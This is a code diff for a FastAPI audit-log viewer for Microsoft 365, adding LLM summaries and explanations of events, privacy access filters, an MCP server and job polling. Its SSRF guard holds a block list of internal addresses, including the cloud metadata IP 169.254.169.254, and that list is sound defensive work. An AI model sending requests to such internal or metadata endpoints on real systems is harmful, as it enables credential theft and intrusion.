+    # Allocate slots: half to failures+high-value, half to rest (but never let rest dominate)
+    slots = max_events
+    failure_cap = min(len(failures), max(10, slots // 4))
+    high_cap = min(len(high_val), max(20, slots // 4))
+    rest_cap = slots - failure_cap - high_cap
+
+    sampled = failures[:failure_cap] + high_val[:high_cap] + rest[:rest_cap]
+    # Sort back to chronological order
+    sampled.sort(key=lambda e: e.get("timestamp") or "", reverse=True)
+    return sampled
+
+
 # ---------------------------------------------------------------------------
 # Time-range extraction
 # ---------------------------------------------------------------------------
@@ -168,22 +304,80 @@ def _build_event_query(
 # ---------------------------------------------------------------------------
 
 _SYSTEM_PROMPT = """You are an IT operations assistant. An administrator has asked a question about audit logs.
-Your job is to read the list of audit events below and write a concise, plain-language answer.
+Your job is to read the data below and write a concise, plain-language answer.
+
+The input may be either:
+- A small list of individual audit events (numbered Event #1, #2, etc.), or
+- An aggregated overview with counts by service, action, result, and actor, plus sample events.
 
 Rules:
 - Assume the reader is a non-expert admin.
-- Group related events together and tell a coherent story.
+- For aggregated overviews: summarise the scale, top patterns, and highlight anomalies or failures.
+- For small event lists: group related events together and tell a coherent story.
 - Highlight anything unusual, failed actions, or privilege escalations.
 - Reference specific event numbers (e.g., "Event #3") when making claims so the user can verify.
+- If the data is an aggregated subset of a larger result set, acknowledge the scale (e.g., "847 events occurred — the top pattern was...").
 - If there are no events, say so clearly.
 - Keep the answer under 300 words.
-- Do not invent events that are not in the list.
+- Do not invent events or patterns that are not supported by the data.
 """
 
 
-def _format_events_for_llm(events: list[dict]) -> str:
+def _aggregate_counts(events: list[dict]) -> dict:
+    """Build lightweight aggregation tables for large result sets."""
+    from collections import Counter
+
+    svc_counts = Counter(e.get("service") or "Unknown" for e in events)
+    op_counts = Counter(e.get("operation") or "Unknown" for e in events)
+    result_counts = Counter(e.get("result") or "Unknown" for e in events)
+    actor_counts = Counter(e.get("actor_display") or "Unknown" for e in events)
+    return {
+        "services": svc_counts.most_common(10),
+        "operations": op_counts.most_common(10),
+        "results": result_counts.most_common(5),
+        "actors": actor_counts.most_common(10),
+    }
+
+
+def _format_events_for_llm(
+    events: list[dict], total: int | None = None, excluded_services: list[str] | None = None
+) -> str:
     lines = []
-    for i, e in enumerate(events, 1):
+
+    # If we have a large result set, send aggregation + samples instead of raw dump
+    if total is not None and total > len(events) and len(events) >= 50:
+        lines.append(f"Result set overview: {total} total events (showing a curated sample of {len(events)}).\n")
+        if excluded_services:
+            lines.append(f"Note: high-volume services excluded by default: {', '.join(excluded_services)}.\n")
+        agg = _aggregate_counts(events)
+        lines.append("Breakdown by service:")
+        for svc, cnt in agg["services"]:
+            lines.append(f"  {svc}: {cnt}")
+        lines.append("\nBreakdown by action:")
+        for op, cnt in agg["operations"]:
+            lines.append(f"  {op}: {cnt}")
+        lines.append("\nBreakdown by result:")
+        for res, cnt in agg["results"]:
+            lines.append(f"  {res}: {cnt}")
+        lines.append("\nTop actors:")
+        for actor, cnt in agg["actors"]:
+            lines.append(f"  {actor}: {cnt}")
+        # Include failures and a few recent samples
+        failures = [e for e in events if str(e.get("result") or "").lower() in ("failure", "failed")]
+        if failures:
+            lines.append(f"\nFailures ({len(failures)}):")
+            for e in failures[:10]:
+                ts = e.get("timestamp", "?")[:16].replace("T", " ")
+                op = e.get("operation", "unknown")
+                actor = e.get("actor_display", "unknown")
+                lines.append(f"  {ts} — {op} by {actor}")
+        lines.append("\nMost recent sample events:")
+    else:
+        if total is not None and total > len(events):
+            lines.append(f"Showing {len(events)} of {total} total matching events (most recent first):\n")
+
+    # Always include the first N raw events as detail (up to 50)
+    for i, e in enumerate(events[:50], 1):
         ts = e.get("timestamp") or "unknown time"
         op = e.get("operation") or "unknown action"
         actor = e.get("actor_display") or "unknown actor"
@@ -204,8 +398,37 @@ def _format_events_for_llm(events: list[dict]) -> str:
     return "\n".join(lines)
 
 
+def _validate_llm_url(url: str):
+    """Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
+    from urllib.parse import urlparse
+
+    parsed = urlparse(url)
+    if parsed.scheme != "https":
+        raise RuntimeError("LLM_BASE_URL must use HTTPS")
+    hostname = (parsed.hostname or "").lower()
+    if not hostname:
+        raise RuntimeError("LLM_BASE_URL must have a valid hostname")
+    blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
+    if hostname in blocked:
+        raise RuntimeError(f"LLM_BASE_URL hostname '{hostname}' is not allowed")
+    # Block link-local and private IP ranges
+    import ipaddress
+
+    try:
+        ip = ipaddress.ip_address(hostname)
+        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
+            raise RuntimeError(f"LLM_BASE_URL IP '{hostname}' is not allowed")
+    except ValueError:
+        pass  # hostname is not an IP, which is fine
+
+    # Enforce domain allowlist if configured
+    if LLM_ALLOWED_DOMAINS:
+        allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in LLM_ALLOWED_DOMAINS)
+        if not allowed:
+            raise RuntimeError(f"LLM_BASE_URL domain '{hostname}' is not in LLM_ALLOWED_DOMAINS")
+
+
 def _build_chat_url(base_url: str, api_version: str) -> str:
-    """Construct the chat completions URL, handling Azure OpenAI endpoints."""
     base = base_url.rstrip("/")
     url = base if base.endswith("/chat/completions") else f"{base}/chat/completions"
     if api_version:
@@ -213,11 +436,16 @@ def _build_chat_url(base_url: str, api_version: str) -> str:
     return url
 
 
-async def _call_llm(question: str, events: list[dict]) -> str:
+async def _call_llm(
+    question: str,
+    events: list[dict],
+    total: int | None = None,
+    excluded_services: list[str] | None = None,
+) -> str:
     if not LLM_API_KEY:
         raise RuntimeError("LLM_API_KEY not configured")
 
-    context = _format_events_for_llm(events)
+    context = _format_events_for_llm(events, total=total, excluded_services=excluded_services)
     messages = [
         {"role": "system", "content": _SYSTEM_PROMPT},
         {
@@ -226,6 +454,9 @@ async def _call_llm(question: str, events: list[dict]) -> str:
         },
     ]
 
+    # SSRF guard: only allow known public HTTPS endpoints
+    _validate_llm_url(LLM_BASE_URL)
+
     url = _build_chat_url(LLM_BASE_URL, LLM_API_VERSION)
     headers = {
         "Content-Type": "application/json",
@@ -270,6 +501,209 @@ def _to_event_ref(e: dict) -> dict:
     }
 
 
+_EXPLAIN_SYSTEM_PROMPT = """You are a Microsoft 365 security and compliance expert.
+An administrator needs help understanding an audit event.
+
+Your task:
+1. Explain what happened in plain language (1-2 sentences).
+2. Identify who performed the action and what was the target.
+3. Assess whether this is typical admin activity or something to investigate.
+4. Highlight any security implications (privilege escalation, unusual actor, after-hours activity, etc.).
+5. Suggest what the admin should do next, if anything.
+
+Keep the answer under 200 words. Use bullet points for readability.
+Do not invent facts that are not in the data.
+"""
+
+
+_GUID_RE = re.compile(r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$")
+
+
+def _extract_guids(obj: dict | list | str) -> set[str]:
+    """Recursively extract UUID-like strings from a JSON structure."""
+    guids = set()
+    if isinstance(obj, dict):
+        for k, v in obj.items():
+            if k.lower() in ("id", "groupid", "userid", "targetid") and isinstance(v, str) and _GUID_RE.match(v):
+                guids.add(v)
+            guids.update(_extract_guids(v))
+    elif isinstance(obj, list):
+        for item in obj:
+            guids.update(_extract_guids(item))
+    elif isinstance(obj, str) and _GUID_RE.match(obj):
+        guids.add(obj)
+    return guids
+
+
+async def _resolve_guids_for_event(event: dict) -> dict[str, str]:
+    """Try to resolve GUIDs in an event to human-readable names via Graph API."""
+    raw = event.get("raw") or {}
+    guids = _extract_guids(raw)
+    # Also include any GUIDs in targetResources that might not have displayName
+    for tr in raw.get("targetResources") or []:
+        tid = tr.get("id")
+        if tid and _GUID_RE.match(tid):
+            guids.add(tid)
+    for tr in raw.get("modifiedProperties") or []:
+        for key in ("oldValue", "newValue"):
+            val = tr.get(key)
+            if val and _GUID_RE.match(val):
+                guids.add(val)
+
+    if not guids:
+        return {}
+
+    try:
+        from graph.auth import get_access_token
+        from graph.resolve import resolve_directory_object
+
+        token = await asyncio.to_thread(get_access_token)
+        cache: dict[str, dict] = {}
+        resolved = {}
+        for gid in guids:
+            result = await asyncio.to_thread(resolve_directory_object, gid, token, cache)
+            if result:
+                resolved[gid] = result["name"]
+        return resolved
+    except Exception as exc:
+        logger.warning("GUID resolution failed", error=str(exc))
+        return {}
+
+
+async def _explain_event(event: dict, related: list[dict]) -> str:
+    if not LLM_API_KEY:
+        raise RuntimeError("LLM_API_KEY not configured")
+
+    # Resolve GUIDs to names before sending to LLM
+    resolved = await _resolve_guids_for_event(event)
+
+    event_text = json.dumps(event, indent=2, default=str)
+    resolution_text = ""
+    if resolved:
+        resolution_text = "\nResolved GUIDs:\n"
+        for gid, name in resolved.items():
+            resolution_text += f"  {gid} → {name}\n"
+
+    related_text = ""
+    if related:
+        related_text = "\n\nRelated events in the last 24 hours:\n"
+        for i, e in enumerate(related[:10], 1):
+            ts = e.get("timestamp", "?")[:16].replace("T", " ")
+            op = e.get("operation", "unknown")
+            actor = e.get("actor_display", "unknown")
+            targets = ", ".join(e.get("target_displays") or []) or "—"
+            result = e.get("result", "—")
+            related_text += f"{i}. {ts} — {op} by {actor} on {targets} ({result})\n"
+
+    messages = [
+        {"role": "system", "content": _EXPLAIN_SYSTEM_PROMPT},
+        {
+            "role": "user",
+            "content": f"Audit event:\n{event_text}{resolution_text}{related_text}\n\nPlease explain this event.",
+        },
+    ]
+
+    _validate_llm_url(LLM_BASE_URL)
+
+    url = _build_chat_url(LLM_BASE_URL, LLM_API_VERSION)
+    headers = {"Content-Type": "application/json"}
+    if "azure" in LLM_BASE_URL.lower() or "cognitiveservices" in LLM_BASE_URL.lower():
+        headers["api-key"] = LLM_API_KEY
+    else:
+        headers["Authorization"] = f"Bearer {LLM_API_KEY}"
+
+    payload = {
+        "model": LLM_MODEL,
+        "messages": messages,
+        "max_completion_tokens": 600,
+    }
+
+    async with httpx.AsyncClient(timeout=LLM_TIMEOUT_SECONDS) as client:
+        resp = await client.post(url, headers=headers, json=payload)
+        if resp.status_code >= 400:
+            body = resp.text
+            logger.error("LLM API error", status_code=resp.status_code, url=url, response_body=body)
+            raise RuntimeError(f"LLM API error {resp.status_code}: {body[:500]}")
+        data = resp.json()
+        return data["choices"][0]["message"]["content"].strip()
+
+
+@router.post("/events/{event_id}/explain")
+async def explain_event(event_id: str, user: dict = Depends(require_auth)):
+    event = events_collection.find_one({"id": event_id})
+    if not event:
+        raise HTTPException(status_code=404, detail="Event not found")
+
+    if (
+        event.get("service") in PRIVACY_SERVICES or event.get("operation") in PRIVACY_SENSITIVE_OPERATIONS
+    ) and not user_can_access_privacy_services(user):
+        raise HTTPException(status_code=403, detail="Access to this event is restricted")
+
+    event.pop("_id", None)
+
+    # Fetch related events for context (same actor or target in last 24h)
+    related = []
+    since = (datetime.now(UTC) - timedelta(hours=24)).isoformat().replace("+00:00", "Z")
+    actor = event.get("actor_upn") or event.get("actor_display")
+    target = event.get("target_displays", [None])[0] if event.get("target_displays") else None
+
+    or_filters = [{"timestamp": {"$gte": since}}, {"id": {"$ne": event_id}}]
+    if actor:
+        or_filters.append(
+            {
+                "$or": [
+                    {"actor_upn": actor},
+                    {"actor_display": actor},
+                ]
+            }
+        )
+    if target:
+        or_filters.append({"target_displays": target})
+
+    if len(or_filters) > 2:
+        try:
+            rel_cursor = events_collection.find({"$and": or_filters}).sort("timestamp", -1).limit(10)
+            related = list(rel_cursor)
+            for r in related:
+                r.pop("_id", None)
+                r.pop("raw", None)
+        except Exception as exc:
+            logger.warning("Failed to fetch related events", error=str(exc))
+
+    if not LLM_API_KEY:
+        return {
+            "explanation": "LLM is not configured. Set LLM_API_KEY in your environment to enable event explanations.",
+            "llm_used": False,
+            "llm_error": "LLM_API_KEY not configured",
+        }
+
+    # Check cache first
+    redis = await get_arq_pool()
+    cached = await get_cached_explain(redis, event_id)
+    if cached:
+        cached["related_count"] = len(related)
+        return cached
+
+    try:
+        explanation = await _explain_event(event, related)
+        result = {
+            "explanation": explanation,
+            "llm_used": True,
+            "llm_error": None,
+            "related_count": len(related),
+        }
+        await set_cached_explain(redis, event_id, result)
+        return result
+    except Exception as exc:
+        logger.warning("Event explanation failed", error=str(exc))
+        return {
+            "explanation": "Unable to generate an explanation at this time. Please check the raw event details.",
+            "llm_used": False,
+            "llm_error": str(exc),
+            "related_count": len(related),
+        }
+
+
 @router.post("/ask", response_model=AskResponse)
 async def ask_question(body: AskRequest, user: dict = Depends(require_auth)):
     question = body.question.strip()
@@ -278,6 +712,7 @@ async def ask_question(body: AskRequest, user: dict = Depends(require_auth)):
 
     start, end = _extract_time_range(question)
     entity = _extract_entity(question)
+    intent_services, explicit_noisy = _extract_intent_services(question)
 
     # Default to last 7 days if no time range detected
     if not start:
@@ -285,57 +720,157 @@ async def ask_question(body: AskRequest, user: dict = Depends(require_auth)):
         start = (now - timedelta(days=7)).isoformat().replace("+00:00", "Z")
         end = now.isoformat().replace("+00:00", "Z")
 
+    # -----------------------------------------------------------------------
+    # Decide which services to query
+    # -----------------------------------------------------------------------
+    excluded_services: list[str] = []
+    if body.services:
+        # User explicitly filtered via UI — respect that exactly
+        query_services = body.services
+    elif intent_services is not None:
+        # NL question implies specific services
+        query_services = intent_services
+    else:
+        # Broad question with no intent — exclude noisy services by default
+        query_services = sorted(_DEFAULT_ADMIN_SERVICES)
+        excluded_services = sorted(_NOISY_SERVICES)
+
+    # -----------------------------------------------------------------------
+    # Build and run query
+    # -----------------------------------------------------------------------
+    privacy_excluded_services = [] if user_can_access_privacy_services(user) else list(PRIVACY_SERVICES)
+    privacy_excluded_ops = [] if user_can_access_privacy_services(user) else list(PRIVACY_SENSITIVE_OPERATIONS)
     query = _build_event_query(
         entity,
         start,
         end,
-        services=body.services,
+        services=query_services,
         actor=body.actor,
         operation=body.operation,
         result=body.result,
         include_tags=body.include_tags,
         exclude_tags=body.exclude_tags,
     )
+    extra_filters = []
+    if privacy_excluded_services:
+        extra_filters.append({"service": {"$nin": privacy_excluded_services}})
+    if privacy_excluded_ops:
+        extra_filters.append({"operation": {"$nin": privacy_excluded_ops}})
+    if extra_filters:
+        query["$and"] = query.get("$and", []) + extra_filters
 
     try:
-        cursor = events_collection.find(query).sort([("timestamp", -1)]).limit(LLM_MAX_EVENTS)
+        total = events_collection.count_documents(query)
-        events = list(cursor)
+        # Fetch a generous window so we can apply smart sampling in Python
+        cursor = events_collection.find(query).sort([("timestamp", -1)]).limit(1000)
+        raw_events = list(cursor)
     except Exception as exc:
         logger.error("Failed to query events for ask", error=str(exc))
-        raise HTTPException(status_code=500, detail=f"Database query failed: {exc}") from exc
+        raise HTTPException(status_code=500, detail="Database query failed") from exc
 
-    for e in events:
+    for e in raw_events:
         e["_id"] = str(e.get("_id", ""))
 
+    # Apply smart sampling (preserves failures, prioritises admin-relevant services)
+    events = _smart_sample(raw_events, max_events=LLM_MAX_EVENTS)
+
     # If no events, return early
     if not events:
         return AskResponse(
             answer="I couldn't find any audit events matching your question. Try broadening the time range or checking the spelling of the device/user name.",
             events=[],
-            query_info={"entity": entity, "start": start, "end": end, "event_count": 0},
+            query_info={
+                "entity": entity,
+                "start": start,
+                "end": end,
+                "event_count": 0,
+                "total_matched": total,
+                "services_queried": query_services,
+                "excluded_services": excluded_services,
+            },
             llm_used=False,
             llm_error="LLM not used — no events found." if not LLM_API_KEY else None,
         )
 
-    # Try LLM summarisation
+    # Try LLM summarisation (with caching + optional async)
     answer = ""
     llm_used = False
     llm_error = None
-    if not LLM_API_KEY:
+    job_id = None
-        llm_error = "LLM_API_KEY is not configured. Set it in your .env to enable AI narrative summarisation."
+
+    filters_snapshot = {
+        "services": body.services,
+        "actor": body.actor,
+        "operation": body.operation,
+        "result": body.result,
+        "start": body.start,
+        "end": body.end,
+        "include_tags": body.include_tags,
+        "exclude_tags": body.exclude_tags,
+    }
+
+    if LLM_API_KEY:
+        redis = await get_arq_pool()
+        cached = await get_cached_ask(redis, question, filters_snapshot, events)
+        if cached:
+            answer = cached.get("answer", "")
+            llm_used = cached.get("llm_used", False)
+            llm_error = cached.get("llm_error")
+        elif body.async_mode:
+            pool = await get_arq_pool()
+            job = await pool.enqueue_job(
+                "process_ask_question",
+                question,
+                filters_snapshot,
+                events,
+                total,
+                excluded_services,
+            )
+            job_id = job.job_id if job else None
+            return AskResponse(
+                answer="Your question is being processed. Poll /api/jobs/{job_id} for the result.",
+                events=[_to_event_ref(e) for e in events],
+                query_info={
+                    "entity": entity,
+                    "start": start,
+                    "end": end,
+                    "event_count": len(events),
+                    "total_matched": total,
+                    "services_queried": query_services,
+                    "excluded_services": excluded_services,
+                },
+                llm_used=False,
+                llm_error=None,
+                job_id=job_id,
+            )
+        else:
+            try:
+                answer = await _call_llm(question, events, total=total, excluded_services=excluded_services)
+                llm_used = True
+                await set_cached_ask(
+                    redis,
+                    question,
+                    filters_snapshot,
+                    events,
+                    {
+                        "answer": answer,
+                        "llm_used": True,
+                        "llm_error": None,
+                    },
+                )
+            except Exception as exc:
+                llm_error = f"LLM call failed: {exc}"
+                logger.warning("LLM call failed, falling back to structured summary", error=str(exc))
     else:
-        try:
+        llm_error = "LLM_API_KEY is not configured. Set it in your .env to enable AI narrative summarisation."
-            answer = await _call_llm(question, events)
-            llm_used = True
-        except Exception as exc:
-            llm_error = f"LLM call failed: {exc}"
-            logger.warning("LLM call failed, falling back to structured summary", error=str(exc))
 
     # Fallback: structured summary if LLM unavailable or failed
     if not answer:
-        parts = [f"Found {len(events)} event(s)"]
+        parts = [f"Found {total} event(s)"]
         if entity:
             parts.append(f"related to **{entity}**")
+        if excluded_services:
+            parts.append(f"(excluding {', '.join(excluded_services)})")
         parts.append(f"between {start[:10]} and {end[:10]}.\n")
 
         for i, e in enumerate(events[:10], 1):
@@ -359,8 +894,11 @@ async def ask_question(body: AskRequest, user: dict = Depends(require_auth)):
             "start": start,
             "end": end,
             "event_count": len(events),
-            "mongo_query": json.dumps(query, default=str),
+            "total_matched": total,
+            "services_queried": query_services,
+            "excluded_services": excluded_services,
         },
         llm_used=llm_used,
         llm_error=llm_error,
+        job_id=job_id,
     )

backend/routes/config.py

@@ -1,20 +1,33 @@
+import structlog
 from config import (
+    AI_FEATURES_ENABLED,
     AUTH_CLIENT_ID,
     AUTH_ENABLED,
     AUTH_SCOPE,
     AUTH_TENANT_ID,
+    DEFAULT_PAGE_SIZE,
 )
 from fastapi import APIRouter
 
 router = APIRouter()
+logger = structlog.get_logger("aoc.config")
 
 
 @router.get("/config/auth")
 def auth_config():
+    logger.debug("Auth config requested", auth_enabled=AUTH_ENABLED)
     return {
         "auth_enabled": AUTH_ENABLED,
-        "tenant_id": AUTH_TENANT_ID,
+        "tenant_id": AUTH_TENANT_ID if AUTH_ENABLED else "",
-        "client_id": AUTH_CLIENT_ID,
+        "client_id": AUTH_CLIENT_ID if AUTH_ENABLED else "",
         "scope": AUTH_SCOPE,
         "redirect_uri": None,  # frontend uses window.location.origin by default
     }
+
+
+@router.get("/config/features")
+def features_config():
+    return {
+        "ai_features_enabled": AI_FEATURES_ENABLED,
+        "default_page_size": DEFAULT_PAGE_SIZE,
+    }

backend/routes/events.py

@@ -3,8 +3,9 @@ import re
 from datetime import UTC, datetime
 
 from audit_trail import log_action
-from auth import require_auth
+from auth import require_auth, user_can_access_privacy_services
 from bson import ObjectId
+from config import PRIVACY_SENSITIVE_OPERATIONS, PRIVACY_SERVICES
 from database import events_collection
 from fastapi import APIRouter, Depends, HTTPException, Query
 from models.api import (
@@ -44,6 +45,7 @@ def _build_query(
     cursor: str | None = None,
     include_tags: list[str] | None = None,
     exclude_tags: list[str] | None = None,
+    exclude_operations: list[str] | None = None,
 ) -> dict:
     filters = []
 
@@ -51,6 +53,8 @@ def _build_query(
         filters.append({"service": service})
     if services:
         filters.append({"service": {"$in": services}})
+    if exclude_operations:
+        filters.append({"operation": {"$nin": exclude_operations}})
     if actor:
         actor_safe = re.escape(actor)
         filters.append(
@@ -125,6 +129,8 @@ def list_events(
     exclude_tags: list[str] | None = Query(default=None),
     user: dict = Depends(require_auth),
 ):
+    privacy_excluded_services = [] if user_can_access_privacy_services(user) else list(PRIVACY_SERVICES)
+    privacy_excluded_ops = [] if user_can_access_privacy_services(user) else list(PRIVACY_SENSITIVE_OPERATIONS)
     query = _build_query(
         service=service,
         services=services,
@@ -137,7 +143,13 @@ def list_events(
         cursor=cursor,
         include_tags=include_tags,
         exclude_tags=exclude_tags,
+        exclude_operations=privacy_excluded_ops,
     )
+    if privacy_excluded_services:
+        query = query if query else {}
+        if "$and" not in query:
+            query = {"$and": [query]} if query else {"$and": []}
+        query["$and"].append({"service": {"$nin": privacy_excluded_services}})
 
     safe_page_size = max(1, min(page_size, 500))
 
@@ -146,7 +158,7 @@ def list_events(
         cursor_query = events_collection.find(query).sort([("timestamp", -1), ("_id", -1)]).limit(safe_page_size)
         events = list(cursor_query)
     except Exception as exc:
-        raise HTTPException(status_code=500, detail=f"Failed to query events: {exc}") from exc
+        raise HTTPException(status_code=500, detail="Failed to query events") from exc
 
     next_cursor = None
     if len(events) == safe_page_size:
@@ -202,6 +214,8 @@ def bulk_tags(
     exclude_tags: list[str] | None = Query(default=None),
     user: dict = Depends(require_auth),
 ):
+    privacy_excluded_services = [] if user_can_access_privacy_services(user) else list(PRIVACY_SERVICES)
+    privacy_excluded_ops = [] if user_can_access_privacy_services(user) else list(PRIVACY_SENSITIVE_OPERATIONS)
     query = _build_query(
         service=service,
         services=services,
@@ -213,7 +227,13 @@ def bulk_tags(
         search=search,
         include_tags=include_tags,
         exclude_tags=exclude_tags,
+        exclude_operations=privacy_excluded_ops,
     )
+    if privacy_excluded_services:
+        query = query if query else {}
+        if "$and" not in query:
+            query = {"$and": [query]} if query else {"$and": []}
+        query["$and"].append({"service": {"$nin": privacy_excluded_services}})
     tags = [t.strip() for t in body.tags if t.strip()]
     if not tags:
         raise HTTPException(status_code=400, detail="No tags provided")
@@ -221,9 +241,17 @@ def bulk_tags(
     update = {"$set": {"tags": tags}} if body.mode == "replace" else {"$addToSet": {"tags": {"$each": tags}}}
 
     try:
+        matched = events_collection.count_documents(query, limit=10001)
+        if matched > 10000:
+            raise HTTPException(
+                status_code=400,
+                detail="Bulk tag update matches too many events (>10000). Narrow your filters.",
+            )
         result_obj = events_collection.update_many(query, update)
+    except HTTPException:
+        raise
     except Exception as exc:
-        raise HTTPException(status_code=500, detail=f"Failed to update tags: {exc}") from exc
+        raise HTTPException(status_code=500, detail="Failed to update tags") from exc
 
     log_action(
         "bulk_tags",
@@ -235,7 +263,10 @@ def bulk_tags(
 
 
 @router.get("/filter-options", response_model=FilterOptionsResponse)
-def filter_options(limit: int = Query(default=200, ge=1, le=1000)):
+def filter_options(
+    limit: int = Query(default=200, ge=1, le=1000),
+    user: dict = Depends(require_auth),
+):
     safe_limit = max(1, min(limit, 1000))
     try:
         services = sorted(events_collection.distinct("service"))[:safe_limit]
@@ -245,7 +276,11 @@ def filter_options(limit: int = Query(default=200, ge=1, le=1000)):
         actor_upns = sorted([a for a in events_collection.distinct("actor_upn") if a])[:safe_limit]
         devices = sorted([a for a in events_collection.distinct("target_displays") if isinstance(a, str)])[:safe_limit]
     except Exception as exc:
-        raise HTTPException(status_code=500, detail=f"Failed to load filter options: {exc}") from exc
+        raise HTTPException(status_code=500, detail="Failed to load filter options") from exc
+
+    if not user_can_access_privacy_services(user):
+        services = [s for s in services if s not in PRIVACY_SERVICES]
+        operations = [o for o in operations if o not in PRIVACY_SENSITIVE_OPERATIONS]
 
     return {
         "services": services,

backend/routes/fetch.py

@@ -1,5 +1,6 @@
 import time
 
+import structlog
 from audit_trail import log_action
 from auth import require_auth
 from config import ALERTS_ENABLED
@@ -15,6 +16,8 @@ from sources.intune_audit import fetch_intune_audit
 from sources.unified_audit import fetch_unified_audit
 from watermark import get_watermark, set_watermark
 
+logger = structlog.get_logger("aoc.fetch")
+
 router = APIRouter(dependencies=[Depends(require_auth)])
 
 
@@ -85,5 +88,8 @@ def fetch_logs(
             user.get("sub", "anonymous"),
         )
         return result
+    except HTTPException:
+        raise
     except Exception as exc:
-        raise HTTPException(status_code=502, detail=str(exc)) from exc
+        logger.error("Fetch failed", error=str(exc))
+        raise HTTPException(status_code=502, detail="Failed to fetch audit logs") from exc

backend/routes/jobs.py

@@ -0,0 +1,43 @@
+"""Job status endpoints for async LLM operations."""
+
+from arq.jobs import Job, JobStatus
+from auth import require_auth
+from fastapi import APIRouter, Depends, HTTPException
+from pydantic import BaseModel
+from redis_client import get_redis
+
+router = APIRouter(dependencies=[Depends(require_auth)])
+
+
+class JobStatusResponse(BaseModel):
+    job_id: str
+    status: str  # queued, in_progress, complete, not_found, deferred
+    result: dict | None = None
+    error: str | None = None
+
+
+@router.get("/jobs/{job_id}", response_model=JobStatusResponse)
+async def get_job_status(job_id: str, user: dict = Depends(require_auth)):
+    """Poll for the result of an async LLM job."""
+    redis = await get_redis()
+    job = Job(job_id, redis)
+    status = await job.status()
+
+    if status == JobStatus.not_found:
+        raise HTTPException(status_code=404, detail="Job not found")
+
+    result = None
+    error = None
+    if status == JobStatus.complete:
+        try:
+            result_data = await job.result(timeout=0)
+            result = result_data if isinstance(result_data, dict) else {"data": str(result_data)}
+        except Exception as exc:
+            error = str(exc)
+
+    return JobStatusResponse(
+        job_id=job_id,
+        status=status.value,
+        result=result,
+        error=error,
+    )

backend/routes/mcp.py

@@ -0,0 +1,124 @@
+"""MCP server over SSE (HTTP) transport, mounted inside FastAPI with OIDC auth."""
+
+import structlog
+from auth import (
+    AUTH_ALLOWED_GROUPS,
+    AUTH_ALLOWED_ROLES,
+    AUTH_ENABLED,
+    _allowed,
+    _decode_token,
+    _get_jwks,
+)
+from mcp.server import Server
+from mcp.server.sse import SseServerTransport
+from mcp.types import TextContent, Tool
+from mcp_common import (
+    ASK_SCHEMA,
+    GET_EVENT_SCHEMA,
+    GET_SUMMARY_SCHEMA,
+    SEARCH_EVENTS_SCHEMA,
+    handle_ask,
+    handle_get_event,
+    handle_get_summary,
+    handle_search_events,
+)
+from starlette.requests import Request
+from starlette.responses import Response
+
+logger = structlog.get_logger("aoc.mcp")
+
+mcp_app = Server("aoc")
+transport = SseServerTransport("/messages/")
+
+
+@mcp_app.list_tools()
+async def list_tools() -> list[Tool]:
+    return [
+        Tool(
+            name="search_events",
+            description="Search audit events by entity, service, operation, or result.",
+            inputSchema=SEARCH_EVENTS_SCHEMA,
+        ),
+        Tool(name="get_event", description="Retrieve a single audit event by its ID.", inputSchema=GET_EVENT_SCHEMA),
+        Tool(
+            name="get_summary",
+            description="Get an aggregated summary of audit activity for the last N days.",
+            inputSchema=GET_SUMMARY_SCHEMA,
+        ),
+        Tool(
+            name="ask",
+            description="Ask a natural language question about audit logs. Returns a narrative answer.",
+            inputSchema=ASK_SCHEMA,
+        ),
+    ]
+
+
+@mcp_app.call_tool()
+async def call_tool(name: str, arguments: dict) -> list[TextContent]:
+    if name == "search_events":
+        return await handle_search_events(arguments)
+    if name == "get_event":
+        return await handle_get_event(arguments)
+    if name == "get_summary":
+        return await handle_get_summary(arguments)
+    if name == "ask":
+        return await handle_ask(arguments)
+    raise ValueError(f"Unknown tool: {name}")
+
+
+async def _validate_auth(request: Request) -> dict | None:
+    """Validate Bearer token. Returns claims dict or None on failure."""
+    if not AUTH_ENABLED:
+        return {"sub": "anonymous"}
+
+    auth_header = request.headers.get("authorization", "")
+    if not auth_header or not auth_header.lower().startswith("bearer "):
+        return None
+
+    token = auth_header.split(" ", 1)[1]
+    try:
+        jwks = _get_jwks()
+        claims = _decode_token(token, jwks)
+    except Exception as exc:
+        logger.warning("MCP auth failed", error=str(exc))
+        return None
+
+    if not _allowed(claims, AUTH_ALLOWED_ROLES, AUTH_ALLOWED_GROUPS):
+        logger.warning("MCP auth forbidden", sub=claims.get("sub"))
+        return None
+
+    return claims
+
+
+async def mcp_asgi(scope: dict, receive, send):
+    """ASGI application for MCP over SSE, mounted under /mcp in FastAPI."""
+    if scope["type"] != "http":
+        return
+
+    request = Request(scope, receive)
+
+    # Auth check
+    claims = await _validate_auth(request)
+    if claims is None:
+        response = Response("Unauthorized", status_code=401)
+        await response(scope, receive, send)
+        return
+
+    path = scope.get("path", "")
+    root_path = scope.get("root_path", "")
+    relative_path = path[len(root_path) :] if path.startswith(root_path) else path
+    method = scope.get("method", "")
+
+    if relative_path == "/sse" and method == "GET":
+        logger.info("MCP SSE connection established", sub=claims.get("sub", "unknown"))
+        async with transport.connect_sse(scope, receive, send) as (read_stream, write_stream):
+            await mcp_app.run(
+                read_stream,
+                write_stream,
+                mcp_app.create_initialization_options(),
+            )
+    elif relative_path == "/messages/" and method == "POST":
+        await transport.handle_post_message(scope, receive, send)
+    else:
+        response = Response("Not found", status_code=404)
+        await response(scope, receive, send)

backend/routes/saved_searches.py

@@ -0,0 +1,60 @@
+"""CRUD for saved filter searches (bookmarks)."""
+
+import uuid
+from datetime import UTC, datetime
+
+import structlog
+from auth import require_auth
+from database import saved_searches_collection
+from fastapi import APIRouter, Depends, HTTPException
+
+router = APIRouter(dependencies=[Depends(require_auth)])
+logger = structlog.get_logger("aoc.saved_searches")
+
+
+def _user_sub(user: dict) -> str:
+    return user.get("sub", "anonymous")
+
+
+@router.get("/saved-searches")
+async def list_saved_searches(user: dict = Depends(require_auth)):
+    """Return saved searches for the current user."""
+    sub = _user_sub(user)
+    cursor = saved_searches_collection.find({"created_by": sub}).sort("created_at", -1)
+    items = []
+    for doc in cursor:
+        doc["id"] = doc.pop("_id")
+        items.append(doc)
+    return items
+
+
+@router.post("/saved-searches")
+async def create_saved_search(body: dict, user: dict = Depends(require_auth)):
